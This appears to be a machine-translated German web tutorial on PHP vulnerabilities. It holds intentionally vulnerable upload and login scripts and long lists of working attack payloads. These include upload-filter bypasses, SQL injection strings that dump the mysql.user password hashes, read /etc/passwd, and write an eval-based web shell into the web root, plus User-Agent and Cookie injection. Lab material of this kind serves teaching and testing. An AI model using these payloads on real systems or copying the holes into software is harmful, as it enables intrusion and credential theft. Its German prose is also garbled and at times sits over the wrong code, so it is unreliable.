Heim  >  Artikel  >  Backend-Entwicklung  >  Sehr umfassend! Zusammenfassung gängiger PHP-Schwachstellencodes!

Sehr umfassend! Zusammenfassung gängiger PHP-Schwachstellencodes!

藏色散人
藏色散人nach vorne
2023-01-20 14:22:544486Durchsuche

Dieser Artikel vermittelt Ihnen relevantes Wissen über PHP-Schwachstellen. Er ist sehr umfassend und detailliert. Ich hoffe, dass er für Freunde in Not hilfreich ist.

Sehr umfassend! Zusammenfassung gängiger PHP-Schwachstellencodes!

Zusammenfassung der Sicherheitslücken

Sicherheitsanfälligkeit beim Hochladen von PHP-Dateien

Überprüfen Sie nur den MIME-Typ: Der hochgeladene MIME-Typ wird im Code überprüft. Die Bypass-Methode verwendet Burp, um das Paket zu erfassen und die hochgeladenen Daten zu übertragen Satz ist Pony Content-Type in *.php: application/php, ändern Sie ihn in Content-Type: image/png und laden Sie ihn dann hoch.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
// 判断 content-type 的类型,如果是image/png则通过
if($_FILES[&#39;upload_file&#39;][&#39;type&#39;] == &#39;image/png&#39;)
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
$img_path = UPLOAD_PATH . &#39;/&#39; . $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
if (move_uploaded_file($temp_file, $img_path))
echo "上传完成.";
else
echo "上传出错.";
}
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

Umgehen der Whitelist: Die Whitelist ermöglicht das Hochladen bestimmter Dateitypen Vergleichen Sie Safe, erfassen Sie das Paket und laden Sie die PHP-Hintertür hoch. Ändern Sie dann den Dateinamen in .jpg, um den Upload erfolgreich durchzuführen. Manchmal ist die hochgeladene Datei jedoch ungültig und Sie können die Shell nicht abrufen Auf dieser Ebene geht es hauptsächlich um die Übertragung von drei Dateitypen, JPG/PNG/GIF, und der 2-Byte-Inhalt des Dateiheaders wird im Code erkannt. Wir müssen nur die ersten beiden Bytes der Datei ändern das Bildformat, um es zu umgehen.

Normalerweise JPEG/JPG: FF 3131, und ändern Sie dann .php in .jpg, indem Sie das Brup-Erfassungspaket an das Repeater-Modul senden, und der HEX-Code 3131 wird in FFD8 geändert und das JPG wird nach dem Senden erfolgreich hochgeladen.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$allow_ext = array(".jpg",".png",".jpeg");

$file_name = trim($_FILES[&#39;upload_file&#39;][&#39;name&#39;]); // 取出文件名
$file_ext = strrchr($file_name, &#39;.&#39;);
$file_ext = str_ireplace(&#39;::$DATA&#39;, &#39;&#39;, $file_ext); //去除字符串::$DATA
$file_ext = strtolower($file_ext);                  // 转换为小写
$file_ext = trim($file_ext);                        // 首尾去空

if(in_array($file_ext, $allow_ext))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
$img_path = UPLOAD_PATH.&#39;/&#39;.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path))
echo "上传完成: {$img_path} <br>";
else
echo "上传失败 <br>";
}
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

Umgehen der Erkennung des Datei-Header: Diese Methode basiert auf dem Abgleich basierend auf der Startposition des Datei-Headers, um zu bestimmen, ob er hochgeladen wird. Wir können ihn umgehen, indem wir vor der hochgeladenen Datei einen legalen Datei-Header anhängen, z. B. GIF89aa7cdbdce33df731ae65182f00e3ee257 am Anfang der Datei, um die Umgehung abzuschließen, oder wenn es xffxd8xff ist, müssen wir zuerst %ff%d8%ff78b39b9e94398d4d2690d1ec32efe696URL->URL-Decode, um zu kodieren und freizugeben Beim Hochladen muss die Integrität des Bildes gewahrt bleiben, sodass es nicht durch Anhängen des Dateikopfes umgangen werden kann. Zum Hochladen müssen Sie einen Bild-Trojaner erstellen.

Um diese Upload-Methode zu umgehen, können wir das Bild und die FIG-Datei zusammenführen Kopieren Sie zusammen /b pic.gif+shell.php 1.php, um den Upload zu umgehen Wenn ja, benennen Sie es in der Whitelist um, andernfalls löschen Sie es, damit wir 1.php hochladen können und nur darauf zugreifen müssen, bevor es gelöscht wird. Wir können das Eindringlingsmodul von Burp zum kontinuierlichen Hochladen verwenden und dann mit dem Zugriff und der Aktualisierung fortfahren die Adresse

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
    $file = fopen($filename, "rb");
    $bin = fread($file, 2);
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo[&#39;chars1&#39;].$strInfo[&#39;chars2&#39;]);    
    $fileType = &#39;&#39;;    
    switch($typeCode)
    {      
        case 255216: $fileType = &#39;jpg&#39;; break;
        case 13780:  $fileType = &#39;png&#39;; break;        
        case 7173:   $fileType = &#39;gif&#39;; break;
        default:     $fileType = &#39;unknown&#39;;
        }    
        return $fileType;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

PHP-Injection-Schwachstelle

Grundlegende Abfrageanweisungen

Um eine SQL-Injection-Drill-Umgebung zu erstellen, stellen Sie zunächst sicher, dass die MySQL-Version MySQL 5.7 oder höher ist, und importieren Sie das unten stehende Datenbankskript, um automatisch das entsprechende zu erstellen Datenbankdatei.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
    $fh = fopen($filename, "rb");
    if($fh)
    {
     $bytes = fread($fh,6);
     fclose($fh);
     if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){
     return "image/jpeg";
     }
     if($bytes == "\x89PNG\x0d\x0a"){
     return "image/png";
     }
     if($bytes == "GIF87a" or $bytes == "GIF89a"){
     return "image/gif";
     }
    }
    return &#39;unknown&#39;;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
     echo "状态: {$file_type} ";
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
     $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
     $img_path = UPLOAD_PATH . "/" . $file_name;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传 {$img_path} 完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>
Dann installieren Sie die Umgebung von PHP7.0 oder höher, erstellen Sie die Datei index.php, schreiben Sie den folgenden Testcode, ändern Sie bitte das Datenbankkennwort selbst.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
// 检查是否为图像
if(@getimagesize($filename))
{
if(@imagecreatefromgif($filename)){
return "image/gif";
}
if(@imagecreatefrompng($filename)){
return "image/png";
}
if(@imagecreatefromjpeg($filename)){
return "image/jpeg";
}
}
    return &#39;unknown&#39;;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
     echo "状态: {$file_type} ";
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
     $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
     $img_path = UPLOAD_PATH . "/" . $file_name;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传 {$img_path} 完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

Union-Abfragefeldnummer: Union kann für verwendet werden eine oder mehrere SELECT-Ergebnismengen, aber es gibt eine Bedingung, das heißt, die beiden SELECT-Abfrageanweisungen müssen die gleichen Spalten haben, bevor sie ausgeführt werden können. Mit dieser Funktion können wir vergleichende Abfragen durchführen, also bei der Vereinigung Wählen Sie Spalten aus Wenn die abgefragte Spalte dieselbe ist, wird die Seite normal zurückgegeben Zunächst vermuten wir, dass die Seite nicht zurückgegeben wird, wenn die aktuelle Anzahl der Felder 4 beträgt, was bedeutet, dass die Anzahl der Tabellenfelder größer sein muss Als 4. Fügen Sie dann ein Feld hinzu und fragen Sie 1, 2 ab. Die Seite wird normalerweise bei 3, 4 und 5 angezeigt, was darauf hinweist, dass die Tabellenstruktur 5 Felder enthält.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
$ext_arr = array(&#39;jpg&#39;,&#39;png&#39;,&#39;gif&#39;);
    $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
    $temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . &#39;/&#39; . $file_name;

    if(move_uploaded_file($temp_file, $upload_file))
    {
     if(in_array($file_ext, $ext_arr))
     {
     $img_path = UPLOAD_PATH . &#39;/&#39;. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             echo "上传完成. <br>";
     }else
     {
     unlink($upload_file);
     echo "上传失败. <br>";
     }
    }
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

Reihenfolge nach Abfragefeldnummer: In der SQL-Anweisung die angegebene Wir möchten beispielsweise, dass die Ergebnismenge nach der ersten Spalte sortiert wird, nach der zweiten Spalte sortiert wird und nach diesem Prinzip sortiert wird Wenn wir nach der ersten Spalte sortieren, wird die Datenbank normal zurückgegeben. Wenn wir jedoch nach der 100. Spalte sortieren, wird ein Fehler gemeldet oder kann nicht normal angezeigt werden, da die 100. Spalte nicht in der Datenbank vorhanden ist. Zuerst haben wir vermutet, dass die Datenbank 6 Felder hat. Wir haben versucht, basierend auf der 6. Zeile zu sortieren und haben festgestellt, dass die Daten nicht angezeigt werden konnten, was darauf hinweist, dass es weniger als 6 sind. Wir verwenden weiterhin 5 Tests und die Ergebnisse sind Zu diesem Zeitpunkt zurückgegeben.

drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists local_user;
create table local_user(
id int(10) primary key not null,
username varchar(100) not null,
password varchar(100) not null,
usremail varchar(100) not null,
usertype int(1) default 0
);
alert table local_user character set utf8;
insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"),
(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),
(4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),
(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),
(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),
(10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");

Die meisten Programme rufen nur die erste Anweisung der Datenbankabfrage auf, um sie abzufragen, und geben sie dann zurück. Wenn die Daten, die wir sehen möchten, in der zweiten Anweisung enthalten sind, gibt es zwei Möglichkeiten, sie abzurufen Die erste besteht darin, die ersten Daten falsch zurückzugeben, und die zweite besteht darin, die gewünschten Daten direkt über die SQL-Anweisung zurückzugeben.

Auf die erste Weise lassen wir die erste Abfrage zu. Dies wird durch die Verwendung von und 0 oder durch die Limit-Anweisung erreicht, die für das Paging in MySQL verwendet wird. Dadurch können wir die gewünschten Daten aus den abgefragten Daten abrufen.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    $id = $_GET[&#39;id&#39;];
    if(isset($id))
    {
            $sql = "select * from local_user where id=&#39;$id&#39; limit 0,1";
            $query = mysqli_query($connect,$sql);
            if($query)
             $row = mysqli_fetch_array($query);
    }
}
?>
<body>
<table border="1">
   <tr>
    <th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th>
   </tr>
   <tr>
          <td><?php echo $row[&#39;id&#39;]; ?></td>
          <td><?php echo $row[&#39;username&#39;]; ?></td>
          <td><?php echo $row[&#39;password&#39;]; ?></td>
          <td><?php echo $row[&#39;usremail&#39;]; ?></td>
          <td><?php echo $row[&#39;usertype&#39;]; ?></td>
   </tr>
</table><br>
<?php echo &#39;<hr><b> 后端执行SQL语句:  </b>&#39; . $sql;  ?>
</body>
</html>

Überprüfen Sie alle Datenbanken. Name:

MySQL legt alle Tabellendaten zur Speicherung in der Tabelle information_schema.schemata ab. Wir können die Daten in dieser Tabelle abfragen, um alle Datenbanknamen im aktuellen System herauszufinden. Durch die Steuerung der Parameter können wir alle Datenbanken auflösen

index.php?id=1&#39; and 0 union select 1,1,database(),1,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+

查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

# 通过 limit 限定条件每次只输出一个表名称

index.php?id=1&#39; and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema=&#39;lyshark&#39; limit 0,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema=&#39;lyshark&#39; limit 1,1 --+

# 通过 concat 函数一次性输出所有表
index.php?id=1&#39; and 0 union select 1,2,3,4,group_concat(table_name)
from information_schema.tables where table_schema=&#39;lyshark&#39; --+

查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.

# 查询出lyshark数据库local_user表中的,所有字段
index.php?id=1&#39; and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; --+

# 每次读取出一个表中字段,使用limit进行遍历
index.php?id=1&#39; and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; limit 0,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; limit 1,1 --+

查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.

index.php?id=1&#39; and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+
index.php?id=1&#39; and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+
index.php?id=1&#39; and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+

常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.

# -----------------------------------------------------------------------------------
# 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.

index.php?id=1&#39; and 1=1 --+    # 提交and判断注入
index.php?id=1&#39; and 1=0 --+
index.php?id=1%2b1             # 提交加号判断注入
index.php?id=2-1               # 提交减号判断注入
index.php?id=1 and sleep(5)    # 延时判断诸如点

# -----------------------------------------------------------------------------------
# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
index.php?id=1&#39; and ord(mid(user(),1,1)) = 114 --+

# -----------------------------------------------------------------------------------
# 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
index.php?id=1&#39; and(select count(*) from mysql.user) > 0

# -----------------------------------------------------------------------------------
# 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
index.php?id=1&#39; and 0 union select 1,host,user,password,5 from mysql.user --+                // 5.6以前版本
index.php?id=1&#39; and 0 union select 1,host,user,authentication_string,5 from mysql.user --+   // 5.7以后版本

# -----------------------------------------------------------------------------------
# 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
index.php?id=1&#39; and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1&#39; union select 1,load_file("/etc/passwd"),3,4,5 into outfile &#39;/var/www/html/a.txt&#39;--+
index.php?id=1&#39; union select 1,"<?php phpinfo();?>",3,4,5 into outfile &#39;/var/www/html/shell.php&#39; --+
index.php?id=1&#39; union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile &#39;/var/www/html/b.txt&#39; --+

# -----------------------------------------------------------------------------------
# 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话
create table shell(cmd text);
insert into shell(cmd) values(&#39;<?php @eval($_POST[cmd]) ?>&#39;);
select cmd from shell into outfile(&#39;/var/www/html/eval.php&#39;);

# -----------------------------------------------------------------------------------
# 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
index.php?id=1&#39; union select 1,1,load_file("/etc/passwd")       // 加载指定文件
index.php?id=1&#39; union select 1,1,@@datadir                      // 判断数据库目录
index.php?id=1&#39; union select 1,1,@@basedir                      // 判断安装根路径
index.php?id=1&#39; union select 1,1,@@hostname                     // 判断主机名
index.php?id=1&#39; union select 1,1,@@version                      // 判断数据库版本
index.php?id=1&#39; union select 1,1,@@version_compile_os           // 判断系统类型(Linux)
index.php?id=1&#39; union select 1,1,@@version_compile_machine      // 判断系统体系(x86)
index.php?id=1&#39; union select 1,1,user()                         // 曝出系统用户
index.php?id=1&#39; union select 1,1,database()                     // 曝出当前数据库

GET 注入

简单的注入测试: 本关中没有对代码进行任何的过滤.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<?php
function getCurrentUrl()
{
    $scheme = $_SERVER[&#39;REQUEST_SCHEME&#39;];   // 协议
    $domain = $_SERVER[&#39;HTTP_HOST&#39;];        // 域名
    $requestUri = $_SERVER[&#39;REQUEST_URI&#39;];  // 请求参数
    $currentUrl = $scheme . "://" . $domain . $requestUri;
    return urldecode($currentUrl);
}
?>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    $id = $_GET[&#39;id&#39;];
    if(isset($id))
    {
        $sql = "select username,password from local_user where id=&#39;$id&#39; limit 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
{
   echo "<font size=&#39;5&#39;>";
   echo "账号: {$row[&#39;username&#39;]} <br>";
   echo "密码: {$row[&#39;password&#39;]} <br>";
   echo "</font>";
   echo "后端执行语句: {$sql} <br>";
   $URL = getCurrentUrl();
   echo "后端URL参数: {$URL} <br>";
   }
else 
{
echo "后端执行语句: {$sql} <br>";
print_r(mysql_error());
}
        }
    }
}
?>
</body>
</html>

SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=$id limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=($id) limit 0,1";
http://127.0.0.1/index.php?id=-1) union select 1,version() --+
http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=&#39;$id&#39; limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=(&#39;$id&#39;) limit 0,1";
http://127.0.0.1/index.php?id=-1&#39;) union select 1,version() --+
http://127.0.0.1/index.php?id=1&#39;) and &#39;1&#39;=(&#39;0&#39;) union select 1,version() --+

$sql = "select username,password from local_user where id=((&#39;$id&#39;)) limit 0,1";
http://127.0.0.1/index.php?id=-1&#39;)) union select 1,version() --+

---------------------------------------------------------------------------------
$id = &#39;"&#39; . $id . "&#39;";
$sql = "select username,password from local_user where id=($id) limit 0,1";

http://127.0.0.1/index.php?id=-1") union select 1,version() --+
http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+

POST 输入框注入:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="提交表单" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);

    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
        $sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         echo "<br>欢迎用户: {$row[&#39;username&#39;]} 密码: {$row[&#39;password&#39;]} <br><br>";
         echo "后端执行语句: {$sql} <br>";
         }
         else
         {
         echo "<br>后端执行语句: {$sql} <br>";
         }
        }
    }
}
?>
</body>
</html>

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

# ---------------------------------------------------------------------------------------------------------
# SQL语句
$sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
# ---------------------------------------------------------------------------------------------------------

# 爆出字段数
admin&#39; order by 1 #
admin&#39; order by 2 -- 
admin&#39; and 1 union select 1,2,3 #
admin&#39; and 1 union select 1,2 #

# 爆出数据库
admin &#39; and 0 union select null,database() #
admin&#39; and 0 union select 1,version() #

# 爆出所有表名称(需要注意数据库编码格式)
set character_set_database=utf8;
set collation_database= utf8_general_ci
alter table local_user convert to character set utf8;

&#39; union select null,table_name from information_schema.tables where table_schema=&#39;lyshark&#39; limit 0,1 #
&#39; union select null,table_name from information_schema.tables where table_schema=&#39;lyshark&#39; limit 1,1 #

# 爆出表中字段
&#39; union select null,column_name from information_schema.columns where table_name=&#39;local_user&#39; limit 0,1 #
&#39; union select null,column_name from information_schema.columns where table_name=&#39;local_user&#39; limit 1,1 #

# 继续爆出所有的用户名密码
&#39; union select null,group_concat(username,0x3a,password) from local_user #

# ---------------------------------------------------------------------------------------------------------
# 双注入-字符型
# 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
$uname = &#39;"&#39; .  $uname . &#39;"&#39;;
$passwd = &#39;"&#39; . $passwd . &#39;"&#39;;
$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";

#payload
admin") order by 2 #
admin") and 0 union select 1,version() #
admin") and 0 union select 1,database() #

# ---------------------------------------------------------------------------------------------------------
# POST型的-双注入
# 
$uname = &#39;"&#39; .  $uname . &#39;"&#39;;
$passwd = &#39;"&#39; . $passwd . &#39;"&#39;;
$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";

admin" and 0 union select 1,version() #

Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.

建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);

        $sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         // 获取到用户的Agent客户请求体
         $Uagent = $_SERVER[&#39;HTTP_USER_AGENT&#39;];
// REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的
$IP = $_SERVER[&#39;REMOTE_ADDR&#39;];

echo "<br>欢迎用户: {$row[&#39;username&#39;]} 密码: {$row[&#39;password&#39;]} <br><br>";
echo "您的IP地址是: {$IP} <br>";

$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values(&#39;$uname&#39;,&#39;$IP&#39;,&#39;$Uagent&#39;)";
mysqli_query($connect,$insert_sql);
echo "User_Agent请求头: {$Uagent} <br>";
         }
        }
    }
}
?>
</body>
</html>

首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.

POST /post.php HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

uname=admin&passwd=123123&submit=Submit

修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.

User-Agent: 1&#39;,1,1)#
uname=admin&passwd=123123&submit=Submit

User-Agent: 1&#39;,1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#
uname=admin&passwd=123123&submit=Submit

Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
账号: <input type="text"  name="uname" value=""/><br>
密码: <input type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
$cookee = $_COOKIE[&#39;uname&#39;];
if($cookee)
{
$sql="SELECT username,password FROM local_user WHERE username=&#39;$cookee&#39; LIMIT 0,1";
$query = mysqli_query($connect,$sql);
echo "执行SQL: " . $sql . "<br>";
if($query)
{
$row = mysqli_fetch_array($query);
if($row)
{
echo "<br> COOKIE 已登录 <br>";
echo "您的账号: " . $row[&#39;username&#39;] . "<br>";
echo "您的密码: " . $row[&#39;password&#39;] . "<br>";
}
}
}
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);
$sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
$query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         $cookee = $row[&#39;username&#39;];
         if($row)
         {
         setcookie(&#39;uname&#39;, $cookee, time() + 3600);
         $format = &#39;D d M Y - H:i:s&#39;;
         $timestamp = time() + 3600;
         echo "COOKIE已设置: " . date($format, $timestamp);
         }
        }
    }
}
?>
</body>
</html>

以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.

Cookie: uname=admin&#39; and 0 union select database(),2--+
Cookie: uname=admin&#39; and 0 union select version(),2--+

update-xml注入:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="提交表单" />
</form>
<?php
error_reporting(0);
header("Content-type: text/html;charset=utf8");
function Check($value)
{
if(!empty($value))
{ // 如果结果不为空,则取出其前十五个字符 18
$value = substr($value,0,15);
}
// 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
// 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
if(get_magic_quotes_gpc())
{
// 删除由 addslashes() 函数添加的反斜杠
$value = stripslashes($value);
}
if(!ctype_digit($value))
{
// ctype_digit()判断是不是数字,是数字就返回true,否则返回false
// mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
$value = "&#39;" . mysql_real_escape_string($value) . ".";
}
else
